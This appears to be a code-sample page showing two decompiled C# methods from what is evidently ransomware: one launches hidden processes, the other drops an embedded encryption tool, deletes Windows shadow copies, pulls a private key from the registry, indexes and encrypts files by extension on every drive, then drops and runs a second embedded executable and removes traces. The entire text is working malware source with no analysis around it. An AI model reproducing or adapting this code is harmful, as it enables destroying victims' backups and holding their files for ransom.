Пример #1
0
        private static string Execute(string path, string arguments, bool wait)
        {
            string result;

            try
            {
                Process process = PS.StartHidden(path, arguments);
                if (wait)
                {
                    process.WaitForExit();
                    result = process.StandardOutput.ReadToEnd();
                }
                else
                {
                    result = null;
                }
            }
            catch
            {
                result = "";
            }
            return(result);
        }
Пример #2
0
        private static void Main(string[] args)
        {
            if (args.Length == 1 && args[0] == "-extract")
            {
                File.WriteAllBytes(Program.ENCRYPTION_TOOL_FNAME, Resources.ed);
            }
            if (args.Length != 2)
            {
                return;
            }
            try
            {
                string text  = args[0];
                string text2 = args[1];
                bool   flag  = text == "-ed";
                if (!(text != "-ed") || !(text != "-dd"))
                {
                    if (text2 == "demo")
                    {
                        text2 = (flag ? Program.DEMO_KEY_PUBLIC : Program.DEMO_KEY_PRIVATE);
                    }
                    Program.RemoveIndexFiles();
                    File.WriteAllBytes(Program.ENCRYPTION_TOOL_FNAME, Resources.ed);
                    PS.ExecuteAndForget(Program.ENCRYPTION_TOOL_FNAME, "-delshadowcopies");
                    string text3 = flag ? Program.InitKeysSubsystem(text2) : text2;
                    if (text3 == Program.DEMO_KEY_PRIVATE)
                    {
                        try
                        {
                            string text4 = "key.decrypted";
                            File.WriteAllBytes(text4, Convert.FromBase64String((string)Registry.CurrentUser.OpenSubKey("Software\\WC", false).GetValue("private_key_encrypted")));
                            PS.ExecuteAndWait(Program.ENCRYPTION_TOOL_FNAME, "-df " + text4 + " " + text2);
                            text3 = File.ReadAllText(text4);
                            File.Delete(text4);
                        }
                        catch
                        {
                            text3 = "";
                        }
                    }
                    if (!(text3 == ""))
                    {
                        List <string>  list  = Program.ListDrives();
                        List <Process> list2 = new List <Process>();
                        using (List <string> .Enumerator enumerator = list.GetEnumerator())
                        {
                            while (enumerator.MoveNext())
                            {
                                string current = enumerator.Current;
                                list2.Add(PS.StartHidden(Program.ENCRYPTION_TOOL_FNAME, "-index " + current));
                            }
                            goto IL_196;
                        }
IL_18C:
                        Thread.Sleep(1000);
IL_196:
                        if (!Program.CheckJobsDone(list2))
                        {
                            goto IL_18C;
                        }
                        list2.Clear();
                        List <string> list3 = new List <string>();
                        foreach (string current2 in list)
                        {
                            string format = "{0} {1} {2} windows {3}";
                            list3.Add(string.Format(format, new string[]
                            {
                                text,
                                current2,
                                Program.DEMO_EXTENSIONS,
                                flag ? Program.DEMO_KEY_PUBLIC : Program.DEMO_KEY_PRIVATE
                            }));
                            string[] aLL_EXTENSIONS = Program.ALL_EXTENSIONS;
                            for (int i = 0; i < aLL_EXTENSIONS.Length; i++)
                            {
                                string text5 = aLL_EXTENSIONS[i];
                                list3.Add(string.Format(format, new string[]
                                {
                                    text,
                                    current2,
                                    text5,
                                    text3
                                }));
                            }
                        }
                        PS.RedirectOutput = false;
                        using (List <string> .Enumerator enumerator = list3.GetEnumerator())
                        {
                            while (enumerator.MoveNext())
                            {
                                string current3 = enumerator.Current;
                                list2.Add(PS.StartHidden(Program.ENCRYPTION_TOOL_FNAME, current3));
                            }
                            goto IL_2B5;
                        }
IL_2AB:
                        Thread.Sleep(1000);
IL_2B5:
                        if (!Program.CheckJobsDone(list2))
                        {
                            goto IL_2AB;
                        }
                    }
                }
            }
            catch (Exception)
            {
            }
            finally
            {
                try
                {
                    Program.RemoveIndexFiles();
                    File.WriteAllBytes("wd.exe", Resources.wg);
                    PS.ExecuteAndForget("wd.exe", "");
                }
                catch
                {
                }
                try
                {
                    File.Delete(Program.ENCRYPTION_TOOL_FNAME);
                }
                catch
                {
                }
            }
        }